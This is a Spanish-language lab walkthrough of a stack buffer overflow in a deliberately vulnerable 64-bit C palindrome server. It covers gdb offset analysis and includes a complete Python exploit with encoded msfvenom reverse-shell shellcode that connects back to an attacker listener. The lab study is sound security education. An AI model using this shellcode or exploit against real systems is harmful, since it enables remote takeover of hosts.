OBJETIVO
Mediante la explotación de una vulnerabilidad originada por un desbordamiento de búfer en una arquitectura de 64 bits, obtener una reverse shell que permita tomar el control remoto del sistema objetivo.
PREPARACIÓN DE LABORATORIO
Antes de iniciar directamente con la explotación de la vulnerabilidad, es necesario preparar el entorno de trabajo asegurando que los sistemas se encuentren correctamente configurados dentro de un entorno virtualizado. Para ello, se utiliza VirtualBox versión 7.2.8, ejecutando la distribución GNU/Linux Debian 13.4 como sistema objetivo. El entorno emplea el kernel versión 6.12.74+deb13+1-amd64, y la compilación del código se realiza utilizando el compilador GCC en su versión 14.2.0.
Asimismo, a continuación se indican las herramientas necesarias para la creación y preparación de la máquina virtual:
#apt-get update && apt-get install -y vim build-essential gdb net-tools isc-dhcp-client python3-pip python3-ropgadget
Como parte de la práctica de laboratorio, y con el objetivo de facilitar el análisis de memoria (simulando el comportamiento de una máquina tipo CTF), se deshabilita el mecanismo de seguridad ASLR (Address Space Layout Randomization).
Para el sistema atacante, es posible emplear alguna distribución de Kali Linux, que en este caso se utilizó el kernel 6.18.12+kali-amd64.
CÓDIGO FUENTE
Se presenta el siguiente código en C vulnerable, el cual será utilizado como objetivo de explotación. Su funcionalidad se limita a recibir una cadena de texto y determinar si esta corresponde a un palíndromo. Es importante notar que la función obtener_tamanio(), ubicada en la línea 16, introduce un valor dinámico que provoca variaciones en el offset del stack, lo que obliga a ajustar el exploit en cada ejecución.
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<arpa/inet.h>
#include<signal.h>
#include<unistd.h>
#include<time.h>
#define TamCli 1800
#define TamSer 1800
#define PUERTO 9999
unsigned char *buffer_global = (unsigned char *)0xffffffffffffffff;
unsigned char *reg_rbp = (unsigned char *)0xffffffffffffffff;
int obtener_tamanio() {
srand(time(NULL));
return 405 + rand() % (599 - 405 + 1); //Retornar un número aleatorio entre 405 y 599
}
void copiar_Cadena_En_Buffer(char *Mensaje_Cliente, int bytes, int n){
char buffer[n];
printf ( "\nDirección de inicio del buffer es \t\t\t%p", &buffer ) ;
buffer_global = buffer;
__asm__("movq %%rbp, %0" : "=r" (reg_rbp));
printf("\nValor de RBP:\t\t\t\t\t\t%p \n", reg_rbp);
memcpy(buffer, Mensaje_Cliente, bytes);
}
int Es_Palindromo(char buffer[], int s, int e){
if(s == e){return 1;}
if(buffer[s] != buffer[e]){return 0;}
if(s < e + 1){return Es_Palindromo(buffer, s + 1, e - 1);}
return 1;
}
int Valida_Cadena(char *Mensaje_Cliente){
char buffer[1300];
int ban = 0, n;
strcpy(buffer, Mensaje_Cliente);
n = strlen(buffer);
if(n==0){return 1;}
ban = Es_Palindromo(buffer, 0, n-1);
if(ban==0)
return 0;
else
return 1;
}
int main(int argc, char *argv[]){
int descriptor_socket, cliente_socket, c, i, ban=1, n=obtener_tamanio();
struct sockaddr_in servidor, cliente;
char Mensaje_Cliente[TamCli], Mensaje_Servidor_1[TamSer], Mensaje_Servidor_2[TamSer];
for(i=0; i<TamSer; i++)
Mensaje_Servidor_2[i] = '\0';
for(i=0; i<TamSer; i++)
Mensaje_Servidor_1[i] = '\0';
descriptor_socket = socket(AF_INET, SOCK_STREAM, 0);
if(descriptor_socket == -1)
printf("El socket no puede ser creado\n");
servidor.sin_family = AF_INET;
servidor.sin_addr.s_addr = INADDR_ANY;
servidor.sin_port =htons(PUERTO);
if(bind(descriptor_socket,(struct sockaddr *)&servidor, sizeof(servidor))<0){
perror("Error en Bind");
return 1;
}
listen(descriptor_socket, 10);
printf("Escuchando peticiones por el puerto: %i\n", PUERTO);
puts("Esperando conexiones...");
c = sizeof(struct sockaddr_in);
signal(descriptor_socket, SIG_IGN);
while(1){
strcpy(Mensaje_Servidor_1, "Ingresa una palabra para revisar si es un palíndromo: ");
for(i=0; i<TamCli; i++)
Mensaje_Cliente[i] = '\0';
cliente_socket = accept(descriptor_socket, (struct sockaddr *)&cliente, (socklen_t*)&c);
if(cliente_socket <0){
perror("Las conexiones no pueden ser aceptadas\n");
return 1;
}
puts("Conexión aceptada...");
if(fork()==0){
write(cliente_socket, Mensaje_Servidor_1, strlen(Mensaje_Servidor_1));
recv(cliente_socket, Mensaje_Cliente, 1300, 0);
int tamanio=0;
printf("Cliente: ");
while(Mensaje_Cliente[tamanio]!=0x0A){ //Imprime hasta que encuentre el enter = 0x0A
printf("%c",Mensaje_Cliente[tamanio]);
tamanio++;
}
printf("\n");
copiar_Cadena_En_Buffer(Mensaje_Cliente, tamanio, n); //Funcion que causa el buffer overflow
Mensaje_Cliente[tamanio] = '\0';
ban = Valida_Cadena(Mensaje_Cliente);
if (ban == 1) {
snprintf(Mensaje_Servidor_2, TamSer,
"\nSí, la palabra es palíndromo\n"
"Dirección inicio de buffer:\t%p\n"
"Dirección registro de rbp:\t%p\n\n",
(void *)buffer_global, (void *)reg_rbp);
write(cliente_socket, Mensaje_Servidor_2, strlen(Mensaje_Servidor_2));
} else {
snprintf(Mensaje_Servidor_1, TamSer,
"\nNo, la palabra no es un palíndromo\n"
"Dirección inicio de buffer:\t%p\n"
"Dirección registro de rbp:\t%p\n\n",
(void *)buffer_global, (void *)reg_rbp);
write(cliente_socket, Mensaje_Servidor_1, strlen(Mensaje_Servidor_1));
}
ban = 1;
close(cliente_socket);
puts("El cliente fue desconectado\n");
fflush(stdout);
}
else{
close(cliente_socket);
}
}
return 0;
}
El programa se compila utilizando gcc con el parámetro -z execstack, lo que permite la ejecución de código en la pila, una configuración común en escenarios de tipo CTF. Con esta configuración, el sistema queda preparado para llevar a cabo el proceso de explotación.
gcc Servicio_1.c -z execstack -o Servicio_1.exe
EXPLOTACIÓN
Para iniciar el proceso de explotación de la vulnerabilidad, desde la máquina atacante se realiza un escaneo de puertos contra la máquina objetivo, la cual cuenta con la dirección IP 192.168.1.11.
Podemos observar que únicamente se encuentran abiertos dos puertos: 22 y 9999. A través del puerto 9999 es posible enviar directamente una cadena de texto a la máquina objetivo para validar si el contenido corresponde a un palíndromo o no. Al analizar la respuesta generada por el programa, se obtiene información adicional relevante, como la dirección de inicio del búfer (espacio de memoria donde se almacena la cadena a evaluar) y la dirección del registro RBP. Estos datos resultan fundamentales para llevar a cabo la explotación de la vulnerabilidad de forma remota, especialmente en escenarios de práctica tipo CTF.
Con fines de estudio y práctica de laboratorio, regresamos a la máquina objetivo y detenemos la ejecución del programa mediante la combinación de teclas Ctrl + C. Posteriormente, iniciamos el proceso de depuración del programa utilizando gdb. Se establece un breakpoint al inicio de la función main y se ejecuta el programa bajo el depurador. Como resultado, se observa que la ejecución del programa se detiene correctamente en el breakpoint definido en main.
debian@debian:~/LAB1$ gdb -q Servicio_1.exe
(gdb) break main
Breakpoint 1 at 0x150f
(gdb) run
Starting program: /home/debian/LAB1/Servicio_1.exe
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x000055555555550f in main ()
Dado que contamos con acceso al código fuente, sabemos que es necesario centrar el análisis en la función copiar_Cadena_En_Buffer(). Alternativamente, también es posible realizar un análisis estático de las funciones cargadas en el binario. Para este caso en particular, podemos listar todas las funciones cuyos nombres comiencen con la subcadena ^cop, lo que nos proporciona el siguiente resultado:
(gdb) info functions ^cop
All functions matching regular expression "^cop":
Non-debugging symbols:
0x0000555555555351 copiar_Cadena_En_Buffer
0x00007ffff7e05fe0 copysignl
0x00007ffff7e06350 copysign
0x00007ffff7e06720 copysignf
0x00007ffff7ec6810 copy_file_range
Ahora realizamos el desensamblado de la función copiar_Cadena_En_Buffer():
(gdb) disassemble copiar_Cadena_En_Buffer
Dump of assembler code for function copiar_Cadena_En_Buffer:
0x0000555555555351 <+0>: push %rbp
0x0000555555555352 <+1>: mov %rsp,%rbp
0x0000555555555355 <+4>: push %rbx
0x0000555555555356 <+5>: sub $0x28,%rsp
0x000055555555535a <+9>: mov %rdi,-0x28(%rbp)
0x000055555555535e <+13>: mov %esi,-0x2c(%rbp)
0x0000555555555361 <+16>: mov %edx,-0x30(%rbp)
0x0000555555555364 <+19>: mov %rsp,%rax
0x0000555555555367 <+22>: mov %rax,%rbx
...
0x00005555555553f9 <+168>: mov -0x20(%rbp),%rax
0x00005555555553fd <+172>: mov %rcx,%rsi
0x0000555555555400 <+175>: mov %rax,%rdi
0x0000555555555403 <+178>: call 0x555555555100
0x0000555555555408 <+183>: mov %rbx,%rsp
0x000055555555540b <+186>: nop
...
A partir del análisis del código fuente, identificamos que la función memcpy(buffer, Mensaje_Cliente, bytes); introduce una vulnerabilidad de desbordamiento de búfer cuando el valor del parámetro bytes supera el tamaño del búfer asignado. Por ello, resulta conveniente examinar el estado de la pila inmediatamente después de que el búfer es llenado, estableciendo un breakpoint (break) en el punto de interés y continuando posteriormente con la ejecución del programa bajo el depurador.
(gdb) break *copiar_Cadena_En_Buffer + 183
Breakpoint 2 at 0x555555555408
(gdb) set follow-fork-mode child
(gdb) c
Continuing.
Escuchando peticiones por el puerto: 9999
Esperando conexiones...
Nuevamente desde Kali, enviamos 100 caracteres:
┌──(debian㉿debian)-[~/Exploit_LAB1]
└─$ python3 -c "print('A'*94 + 'B'*4)" | nc 192.168.1.11 9999
Ingresa una palabra para revisar si es un palíndromo:
En la máquina objetivo se observa que la ejecución del programa se ha detenido exactamente en el breakpoint establecido, como se muestra a continuación:
[Attaching after Thread 0x7ffff7dc4740 (LWP 1077) fork to child process 1080]
[New inferior 2 (process 1080)]
[Detaching after fork from parent process 1077]
[Inferior 1 (process 1077) detached]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Cliente: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Dirección de inicio del buffer es 0x7fffffffcab0
Valor de RBP: 0x7fffffffcd40
[Switching to Thread 0x7ffff7dc4740 (LWP 1080)]
Thread 2.1 "Servicio_1.exe" hit Breakpoint 2, 0x0000555555555408 in copiar_Cadena_En_Buffer ()
Arquitectura de memoria en x86-64
Para comprender en profundidad la vulnerabilidad explotada, es necesario entender cómo el sistema operativo organiza la memoria RAM durante la ejecución de un proceso. En arquitecturas de 64 bits (x86-64), Linux asigna un espacio de memoria virtual privado para cada proceso, estructurado en los siguientes segmentos:
| Segmento | Función | Direcciones típicas |
|---|---|---|
| .text | Código máquina del programa (instrucciones) | Bajas (0x400000) |
| .data | Variables globales inicializadas | Sigue a .text |
| .bss | Variables globales no inicializadas | Sigue a .data |
| Heap | Memoria dinámica (malloc, new) | Crece hacia arriba (↗) |
| Stack (Pila) | Variables locales, llamadas a funciones | Crece hacia abajo (↙) desde altas direcciones |
Bosquejo de la memoria de un proceso en x86-64
A continuación se muestra una representación gráfica de cómo se disponen los diferentes segmentos en la memoria virtual de un proceso Linux de 64 bits. Las direcciones aumentan hacia abajo en el diagrama.
| Dirección | Segmento | Contenido | Crecimiento | |------------------|--------------------------|--------------------------------------------------------------|----------------------| | 0x7fffffffffff | STACK (Pila) | Variables locales, llamadas a funciones, | ↓ crece hacia abajo | | | | direcciones de retorno (RIP guardado) | | | | | ...(más direcciones altas...)... | | | 0x7ffff7...000 | Memoria compartida (mmap)| Bibliotecas compartidas (.so, mmap) | ─ | | 0x00007f...000 | HEAP | Memoria dinámica (malloc, calloc, new) | ↑ crece hacia arriba | | | | ...(segmentos internos...)... | | | 0x00005555...000 | .bss | Variables globales no inicializadas | ─ | | 0x00005555...000 | .data | Variables globales inicializadas | ─ | | 0x00005555...000 | .text | Código máquina del programa (instrucciones ensamblador) | ─ | | | | 0x555555555351: push %rbp | | | | | 0x555555555352: mov %rsp,%rbp | | | | | 0x555555555355: push %rbx | | | | | ... | | |------------------|--------------------------|--------------------------------------------------------------|----------------------| | (direcciones bajas) ↑ Las direcciones aumentan hacia abajo |
Zoom al segmento de pila (Stack)
Cuando una función es llamada, el sistema reserva un marco (stack frame) en la pila que contiene:
- Argumentos de la función (si no caben en registros).
- La dirección de retorno (RIP guardado): instrucción a la que debe volver el programa al finalizar la función.
- El valor anterior del registro $rbp (base pointer), para restaurar el contexto de la función llamadora.
- Las variables locales de la función (en nuestro caso, el
buffer[]).
En nuestro laboratorio, justo después de ejecutar memcpy (breakpoint +183), el estado de la pila es el siguiente:
(gdb) x/86gx $rsp
0x7fffffffcab0: 0x4141414141414141 0x4141414141414141 ← inicio del buffer (94 'A')
0x7fffffffcac0: 0x4141414141414141 0x4141414141414141
0x7fffffffcad0: 0x4141414141414141 0x4141414141414141
0x7fffffffcae0: 0x4141414141414141 0x4141414141414141
0x7fffffffcaf0: 0x4141414141414141 0x4141414141414141
0x7fffffffcb00: 0x4141414141414141 0x4242414141414141
0x7fffffffcb10: 0x0000000000004242 0x0000000000000000
0x7fffffffcb20: 0x0000000000000000 0x00007ffff7e21290
...
0x7fffffffcd30: 0x00007fffffffe2d0 0x00007fffffffe3e8
0x7fffffffcd40: 0x00007fffffffe2d0 0x00005555555557cd ← ¡RIP guardado!
0x7fffffffcd50: 0x00007fffffffe3e8 0x0000000100000000
Además, podemos obtener más información acerca del marco de pila:
(gdb) info frame
Stack level 0, frame at 0x7fffffffcd50:
rip = 0x555555555408 in copiar_Cadena_En_Buffer; saved rip = 0x5555555557cd
called by frame at 0x7fffffffe2e0
Arglist at 0x7fffffffcd40, args:
Locals at 0x7fffffffcd40, Previous frame's sp is 0x7fffffffcd50
Saved registers:
rbx at 0x7fffffffcd38, rbp at 0x7fffffffcd40, rip at 0x7fffffffcd48
(gdb)
- Dirección de inicio del buffer:
0x7fffffffcab0(donde se almacenan las 'A' y luego 'B'). - Dirección donde se guarda el $rbp anterior:
0x7fffffffcd40(valor:0x00007fffffffe2d0). - Dirección donde se guarda el $rip de retorno:
0x7fffffffcd48(valor original:0x00005555555557cd, que apunta a código enmain).
0x7fffffffcd48 con una dirección controlada (por ejemplo, el propio buffer 0x7fffffffcab0), de modo que cuando la función ejecute ret, el programa salte al shellcode inyectado.
Cálculo del offset
La diferencia entre la dirección de $rbp (0x7fffffffcd40) y el inicio del buffer (0x7fffffffcab0) es:
Como el $rip se guarda inmediatamente después del $rbp (8 bytes más arriba), el offset total para alcanzar y sobrescribir la dirección de retorno es:
Esto significa que los primeros 664 bytes del mensaje enviado por el cliente llenarán el buffer y luego escribirán exactamente sobre el $rip guardado. Los siguientes 8 bytes serán la nueva dirección de retorno (en nuestro caso, el buffer donde reside el shellcode).
Continuamos con la ejecución del programa (comando c dentro de gdb), pero ahora enviamos los datos desde la máquina atacante utilizando la información previamente obtenida:
──(debian㉿debian)-[~/Exploit_LAB1]
└─$ python3 -c "print('A'*664 + 'B'*8)" | nc 192.168.1.11 9999
Ingresa una palabra para revisar si es un palíndromo:
Y observamos de nuevo el contenido de la pila, obtendremos lo siguiente:
(gdb) x/86gx $rsp
0x7fffffffcab0: 0x4141414141414141 0x4141414141414141
0x7fffffffcac0: 0x4141414141414141 0x4141414141414141
...
0x7fffffffcd30: 0x4141414141414141 0x4141414141414141
0x7fffffffcd40: 0x4141414141414141 0x4242424242424242
0x7fffffffcd50: 0x00007fffffffe3e8 0x0000000100000000
(gdb) info frame
Stack level 0, frame at 0x7fffffffcd50:
rip = 0x555555555408 in copiar_Cadena_En_Buffer; saved rip = 0x4242424242424242
called by frame at 0x7fffffffcd58
Arglist at 0x7fffffffcd40, args:
Locals at 0x7fffffffcd40, Previous frame's sp is 0x7fffffffcd50
Saved registers:
rbx at 0x7fffffffcd38, rbp at 0x7fffffffcd40, rip at 0x7fffffffcd48
(gdb)
Miramos que el contenido previo del registro $rip ha sido sobrescrito con la cadena 0x4242424242424242, lo que confirma que es posible tomar el control del flujo de ejecución del programa. Al continuar con la ejecución, se produce un Segmentation fault, ya que la dirección 0x4242424242424242 no corresponde a una dirección de memoria válida. Finalmente, se finaliza el proceso utilizando el comando pkill, con el objetivo de cerrar cualquier conexión que haya quedado abierta, liberar el puerto 9999 y permitir la ejecución posterior del programa sin conflictos.
(gdb) c
Continuing.
Thread 3.1 "Servicio_1.exe" received signal SIGSEGV, Segmentation fault.
0x0000555555555411 in copiar_Cadena_En_Buffer ()
(gdb) q
A debugging session is active.
Inferior 3 [process 1092] will be killed.
Quit anyway? (y or n) y
debian@debian:~/LAB1$ pkill -f Servicio_1.exe
debian@debian:~/LAB1$ ./Servicio_1.exe
Escuchando peticiones por el puerto: 9999
Esperando conexiones...
Conexión aceptada...
Cliente: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Dirección de inicio del buffer es 0x7fffffffcb70
Valor de RBP: 0x7fffffffcd80
┌──(debian㉿debian)-[~/Exploit_LAB1]
└─$ python3 -c "print('A'*94 + 'B'*4)" | nc 192.168.1.11 9999
Ingresa una palabra para revisar si es un palíndromo:
No, la palabra no es un palíndromo
Dirección inicio de buffer: 0x7fffffffcb70
Dirección registro de rbp: 0x7fffffffcd80
En esta ejecución se determina que el offset requerido es de 536 bytes.
EXPLOIT en Python
Con la información de la dirección de inicio del búfer y el offset calculado, procedemos a generar el payload para obtener una reverse shell.
Generación del shellcode con msfvenom:
buf = b''
buf += b"\x48\x31\xc9\x48\x81\xe9\xef\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\x3d\xc7\x25\xc8\xfd"
buf += b"\x31\x44\x1e\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\x0c\x38\x4f\xc1\xa5\xa8\xf2\x0e\x75"
buf += b"\x4e\xf3\x85\xcc\xf8\x2e\x3c\x7c\x9d\x4f\xcf\xa7"
buf += b"\x3e\x41\x56\xb8\x07\x5d\x99\x97\x3b\x05\x47\x6d"
buf += b"\xad\x0c\x90\x64\x5b\x46\x41\x57\xc6\x7b\xc7\xf8"
buf += b"\x79\xc1\xde\x45\xfc\x6d\x5f\xb5\x88\x46\x1e\x22"
buf += b"\x5f\xe5\x60\xfc\x3d\x15\x56\xb4\x21\x4f\xd8\xa7"
buf += b"\x5b\x6e\x46\x32\xc2\x7c\x80\x78\xf1\x3d\x3b\x74"
buf += b"\x38\xec\xbc\xe5\x66\x2e\x3d\x65\xad\x25\xa2\xf8"
buf += b"\x79\xcd\xf9\x75\xf6\xd3\xc7\xf8\x68\x1d\x41\x75"
buf += b"\x42\xe5\xb1\x3a\x5b\x78\x46\x57\xc6\x7a\xc7\xf8"
buf += b"\x6f\x2e\x38\x67\xc8\x20\x80\x78\xf1\x3c\xf3\xc2"
buf += b"\x21\x25\xc8\xfd\x31\x44\x1e"
Script de exploit completo (exploit.py):
Tomando en cuenta que el tamaño del offset calculado es de 536 bytes, el exploit se construye utilizando 200 bytes de instrucciones NOP, 175 bytes correspondientes al payload encargado de obtener la reverse shell, y los 161 bytes restantes se emplean como relleno para completar los 536 bytes previos a la sobrescritura del registro $rip.
#!/usr/bin/python3
import sys
from struct import pack
nop = b""
nop += b'\x90' * 200
# Inicio del exploit
# 175 bytes
buf = b''
buf += b"\x48\x31\xc9\x48\x81\xe9\xef\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\x3d\xc7\x25\xc8\xfd"
buf += b"\x31\x44\x1e\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\x0c\x38\x4f\xc1\xa5\xa8\xf2\x0e\x75"
buf += b"\x4e\xf3\x85\xcc\xf8\x2e\x3c\x7c\x9d\x4f\xcf\xa7"
buf += b"\x3e\x41\x56\xb8\x07\x5d\x99\x97\x3b\x05\x47\x6d"
buf += b"\xad\x0c\x90\x64\x5b\x46\x41\x57\xc6\x7b\xc7\xf8"
buf += b"\x79\xc1\xde\x45\xfc\x6d\x5f\xb5\x88\x46\x1e\x22"
buf += b"\x5f\xe5\x60\xfc\x3d\x15\x56\xb4\x21\x4f\xd8\xa7"
buf += b"\x5b\x6e\x46\x32\xc2\x7c\x80\x78\xf1\x3d\x3b\x74"
buf += b"\x38\xec\xbc\xe5\x66\x2e\x3d\x65\xad\x25\xa2\xf8"
buf += b"\x79\xcd\xf9\x75\xf6\xd3\xc7\xf8\x68\x1d\x41\x75"
buf += b"\x42\xe5\xb1\x3a\x5b\x78\x46\x57\xc6\x7a\xc7\xf8"
buf += b"\x6f\x2e\x38\x67\xc8\x20\x80\x78\xf1\x3c\xf3\xc2"
buf += b"\x21\x25\xc8\xfd\x31\x44\x1e"
relleno = b""
relleno += b'\x41' * 161
# Dirección de retorno (buffer en pila)
rip = b""
rip += b'\x24\xcc\xff\xff\xff\x7f\x00\x00'
sys.stdout.buffer.write(nop + buf + relleno + rip + b'\x0a')
Finalmente, se guarda el exploit en el archivo exploit.py y se genera el archivo entrada.txt, el cual será utilizado para enviar el payload al servicio vulnerable.
Ahora es necesario contar con un servicio en escucha que permita recibir la conexión entrante cuando la reverse shell sea ejecutada desde la máquina comprometida. Para ello, en la máquina atacante iniciamos el framework Metasploit ejecutando los siguientes comandos:
Listener en Metasploit (consola atacante):
Ejecución del exploit:
Abrimos una consola adicional en la máquina atacante con el fin de enviar el exploit al servicio vulnerable, tal como se muestra a continuación:
Finalmente, en la primera consola de la máquina atacante se puede observar que la conexión ha sido establecida exitosamente, confirmando la obtención de una reverse shell desde el sistema objetivo.
[*] Sending stage (38 bytes) to 192.168.1.11
[*] Command shell session 2 opened (192.168.1.12:8088 -> 192.168.1.11:48830)
Resumen de Offsets Obtenidos
| Prueba | Dirección Buffer | Dirección RBP | Offset Calculado | Observación |
|---|---|---|---|---|
| 1 | 0x7fffffffcab0 | 0x7fffffffcd40 | 664 bytes | Primera ejecución |
| 2 | 0x7fffffffcb70 | 0x7fffffffcd80 | 536 bytes | Segunda ejecución (n dinámico) |
Herramientas utilizadas
VirtualBox 7.2.8
Debian 12.5 / Kali Linux
GDB + msfvenom
Depuración y generación de payload
-z execstack
Pila ejecutable
Python3
Exploit personalizado